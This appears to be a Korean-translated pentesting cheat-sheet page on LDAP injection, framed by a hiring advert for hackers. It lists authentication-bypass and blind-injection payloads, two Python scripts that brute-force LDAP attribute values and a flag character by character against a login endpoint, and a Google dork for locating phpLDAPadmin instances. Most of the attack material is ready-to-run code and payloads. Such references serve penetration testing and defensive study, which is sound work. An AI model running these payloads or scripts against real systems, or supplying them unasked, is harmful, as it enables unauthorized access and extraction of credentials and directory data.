If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
LDAP Injection
LDAP
LDAP에 대해 알고 싶다면 다음 페이지를 참조하세요:
LDAP Injection은 사용자 입력으로부터 LDAP 문장을 구성하는 웹 애플리케이션을 대상으로 하는 공격입니다. 애플리케이션이 입력을 적절히 정화하지 못할 때 발생하며, 공격자가 로컬 프록시를 통해 LDAP 문장을 조작할 수 있게 되어, 무단 접근이나 데이터 조작으로 이어질 수 있습니다.
user=*))%00pass=any--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)password=pwd--> (&(user=admin)(&))(password=pwd) #Can through an error
username=admin)(!(&(|pass=any))--> (&(uid=admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
False 또는 True 응답을 강제로 생성하여 데이터가 반환되는지 확인하고 가능한 Blind LDAP Injection을 확인할 수 있습니다:
#This will result on True, so some information will be shownPayload:*)(objectClass=*))(&objectClass=voidFinalquery: (&(objectClass=*)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shownPayload:void)(objectClass=void))(&objectClass=voidFinalquery: (&(objectClass=void)(objectClass=void))(&objectClass=void )(type=Pepi*))
LDAP 객체는 기본적으로 여러 속성을 포함하고 있어 정보를 저장하는 데 사용할 수 있습니다. 이 정보를 추출하기 위해 모든 속성을 무작위로 시도해 볼 수 있습니다.기본 LDAP 속성 목록은 여기에서 확인할 수 있습니다.
#!/usr/bin/python3import requestsimport stringfrom time import sleepimport sysproxy ={"http":"localhost:8080"}url ="http://10.10.10.10/login.php"alphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"attributes = ["c","cn","co","commonName","dc","facsimileTelephoneNumber","givenName","gn","homePhone","id","jpegPhoto","l","mail","mobile","name","o","objectClass","ou","owner","pager","password","sn","st","surname","uid","username","userPassword",]for attribute in attributes:#Extract all attributesvalue =""finish =Falsewhilenot finish:for char in alphabet:#In each possition test each possible printable charquery =f"*)({attribute}={value}{char}*"data ={'login':query,'password':'bla'}r = requests.post(url, data=data, proxies=proxy)sys.stdout.write(f"\r{attribute}: {value}{char}")#sleep(0.5) #Avoid brute-force bansif"Cannot login"in r.text:value +=str(char)breakif char == alphabet[-1]:#If last of all the chars, then, no more chars in the valuefinish =Trueprint()
특수 블라인드 LDAP 인젝션 (without "*")
#!/usr/bin/python3import requests, stringalphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(50):print("[i] Looking for number "+str(i))for char in alphabet:r = requests.get("http://ctf.web??action=dir&search=admin*)(password="+ flag + char)if ("TRUE CONDITION"in r.text):flag += charprint("[+] Flag: "+ flag)break
구글 도크스
intitle:"phpLDAPadmin"inurl:cmd.php
More Payloads
당신이 해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - 우리는 인재를 모집합니다! (유창한 폴란드어 구사 필수).